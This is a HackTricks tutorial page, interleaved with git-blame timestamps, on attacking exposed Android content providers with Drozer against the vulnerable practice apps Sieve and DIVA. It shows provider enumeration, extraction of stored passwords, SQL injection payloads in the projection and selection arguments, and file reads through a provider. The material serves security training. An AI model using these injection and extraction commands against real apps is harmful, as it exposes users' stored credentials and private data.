2022-04-28 23:27:22 +00:00
# Exploiting Content Providers
2022-04-28 16:01:33 +00:00
2022-05-01 13:25:53 +00:00
## Exploiting Content Providers
2022-04-28 16:01:33 +00:00
< details >
2024-01-03 10:43:38 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-03 10:43:38 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-09-09 11:57:02 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-01-03 10:43:38 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-09 00:36:13 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2024-01-03 10:43:38 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2022-05-01 13:25:53 +00:00
## Intro
2020-07-15 15:43:14 +00:00
2024-02-08 03:08:28 +00:00
Data is **supplied from one application to others** on request by a component known as a **content provider** . These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database** , **files** , or over a **network** .
2020-07-15 15:43:14 +00:00
2024-02-08 03:08:28 +00:00
In the _Manifest.xml_ file, the declaration of the content provider is required. For instance:
2020-07-15 15:43:14 +00:00
2024-02-08 03:08:28 +00:00
```xml
2020-07-15 15:43:14 +00:00
< provider android:name = ".DBContentProvider" android:exported = "true" android:multiprocess = "true" android:authorities = "com.mwr.example.sieve.DBContentProvider" >
< path-permission android:readPermission = "com.mwr.example.sieve.READ_KEYS" android:writePermission = "com.mwr.example.sieve.WRITE_KEYS" android:path = "/Keys" / >
< / provider >
```
2024-02-08 03:08:28 +00:00
To access `content://com.mwr.example.sieve.DBContentProvider/Keys` , the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/` .
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## Get info from **exposed content providers**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
2024-02-08 03:08:28 +00:00
It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory.
2020-07-15 15:43:14 +00:00
Drozer can **guess and try several URIs** :
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
2022-04-05 22:24:52 +00:00
You should also check the **ContentProvider code** to search for queries:
2020-07-15 15:43:14 +00:00
2023-06-06 22:57:49 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 121 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 186 ) . png > )
2020-07-15 15:43:14 +00:00
The query will be like: `content://name.of.package.class/declared_name`
2022-05-01 13:25:53 +00:00
## **Database-backed Content Providers**
2020-07-15 15:43:14 +00:00
2022-04-06 08:57:29 +00:00
Probably most of the Content Providers are used as **interface** for a **database** . Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
2020-07-15 15:43:14 +00:00
Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.
2021-11-30 16:46:07 +00:00
When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_ :
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 187 ) . png > )
2020-07-15 15:43:14 +00:00
2023-06-06 22:57:49 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 254 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
Because you will be able to call them
2022-05-01 13:25:53 +00:00
### Query content
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
2022-05-01 13:25:53 +00:00
### Insert content
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
Quering the database you will learn the **name of the columns** , then, you could be able to insert data in the DB:
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 188 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 189 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
2022-05-01 13:25:53 +00:00
### Update content
2020-07-15 15:43:14 +00:00
Knowing the name of the columns you could also **modify the entries** :
2021-10-18 11:21:18 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 190 ) . png > )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Delete content
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 191 ) . png > )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### **SQL Injection**
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
It is simple to test for SQL injection ** (SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_ :
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 192 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
You can try to **abuse** this **parameters** to test for **SQL injections** :
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
2022-04-28 23:27:22 +00:00
**Automatic SQLInjection discovery by Drozer**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
2022-05-01 13:25:53 +00:00
## **File System-backed Content Providers**
2020-07-15 15:43:14 +00:00
Content providers could be also used to **access files:**
2021-10-18 11:21:18 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 193 ) . png > )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Read **file**
2020-07-15 15:43:14 +00:00
You can read files from the Content Provider
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
2022-05-01 13:25:53 +00:00
### **Path Traversal**
2020-07-15 15:43:14 +00:00
2022-04-05 22:24:52 +00:00
If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
2022-04-28 23:27:22 +00:00
**Automatic Path Traversal discovery by Drozer**
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
2022-05-01 13:25:53 +00:00
## References
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm ](https://www.tutorialspoint.com/android/android\_content\_providers.htm )
2020-07-15 15:43:14 +00:00
* [https://manifestsecurity.com/android-application-security-part-15/ ](https://manifestsecurity.com/android-application-security-part-15/ )
2024-02-08 03:08:28 +00:00
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf ](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf )
2022-04-28 16:01:33 +00:00
< details >
2024-01-03 10:43:38 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-01-03 10:43:38 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
2022-09-09 11:57:02 +00:00
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-01-03 10:43:38 +00:00
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-09 00:36:13 +00:00
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
2024-01-03 10:43:38 +00:00
* **Share your hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >